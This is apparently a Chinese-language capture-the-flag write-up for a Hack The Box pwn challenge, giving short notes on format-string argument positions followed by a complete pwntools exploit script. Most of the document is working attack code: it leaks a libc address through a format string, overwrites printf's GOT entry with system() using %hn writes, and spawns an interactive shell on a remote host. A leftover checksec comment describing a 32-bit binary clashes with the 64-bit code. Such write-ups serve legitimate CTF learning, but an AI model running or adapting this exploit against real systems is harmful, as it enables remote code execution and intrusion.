这道题很有意思,格式化漏洞利用,遗漏知识点
1.main的返回地址是__libc_start_main_ret(有些机器通过__libc_start_main获取不到libc地址)。
2.format string:printf(fmt,...) 如果不指定位置,如%x%p%d,从stack上第一个参数开始
%x%1$n%p%2$n%d,除了指定位置如%1$n,其他都是从stack上地一个参数开始。
%x =>1 param
%p=>2 param
%d=>3 param。
3.printf()函数,会在stack上放置fmt和vargs。
4.要想获取正确rbp,须得在后续函数调用中拿到,前须函数不一定正确,如本题main()->printf(),main push rbp可能是__libc_start_main中设置的垃圾数据。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 167.99.88.212 --port 31369 space
from pwn import *
from pwnlib import libcdb
# Set up pwntools for the correct architecture
exe=ELF('/home/ccc/htb/trackers/leet_test')
context.binary=exe.path
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '139.59.166.56'
port = int(args.PORT or 32606)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
def get_libcstartmain_ret_addr():
payload = "%47$lx"
io.sendlineafter(b"name: ",payload)
ret = io.recvline();
ret=ret[7:-1]
print(ret)
__libc_start_main_ret=int(ret,16)
print(hex(__libc_start_main_ret))
return __libc_start_main_ret
def get_format_addr():
payload = "%4$lx"
io.sendlineafter(b"name: ",payload)
ret = io.recvline();
ret=ret[7:-1]
print(ret)
format_addr=int(ret,16)
print(hex(format_addr))
return format_addr
def set_printf_got_to_system():
system_bytes=struct.pack(">Q",system_addr)
system_bytes_0=system_bytes[2:4]
system_bytes_2=system_bytes[4:6]
system_bytes_4=system_bytes[6:]
system_0=struct.unpack(">H", system_bytes_0)[0]
system_2=struct.unpack(">H", system_bytes_2)[0]
system_4=struct.unpack(">H", system_bytes_4)[0]
offset = {system_0:20,system_2:19,system_4:18}
li=sorted([system_0,system_2,system_4])
min_v=li[0]
mid_v=li[1]
max_v=li[2]
payload= b'/bin/sh;# '
#min bytes
tmp=min_v-0x10
tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')
payload += tmp
tmp=offset[min_v]
tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')
payload += tmp
#mid bytes
tmp=8 if mid_v-min_v<8 else mid_v-min_v
tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')
payload += tmp
tmp=offset[mid_v]
tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')
payload += tmp
#max bytes
tmp=8 if max_v-mid_v<8 else max_v-mid_v
tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')
payload += tmp
tmp=offset[max_v]
tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')
payload += tmp
payload += p64(printf_got)
payload += p64(printf_got_2)
payload += p64(printf_got_4)
print(payload)
io.sendlineafter(b"name: ",payload)
ret= io.recvline()
print(ret)
io.interactive()
payload= b'/bin/sh;# '
io.sendlineafter(b"name: ",payload)
io.interactive()
print(ret)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments
io = start()
# io = gdb.debug(exe.path ,gdbscript='''
# hbreak *0x4012CA
# hbreak *0x401374
# continue
# ''')
#format_str_addr=get_format_addr()
#
# setRandomNumber()
#set()
libc_start_main_addr=get_libcstartmain_ret_addr()
libc_start_main_offset=0x270b3
libc_addr=libc_start_main_addr-libc_start_main_offset
system_offset=0x55410
system_addr=libc_addr+system_offset
printf_got=0x404020
printf_got_2=0x404022
printf_got_4=0x404024
set_printf_got_to_system()
网友评论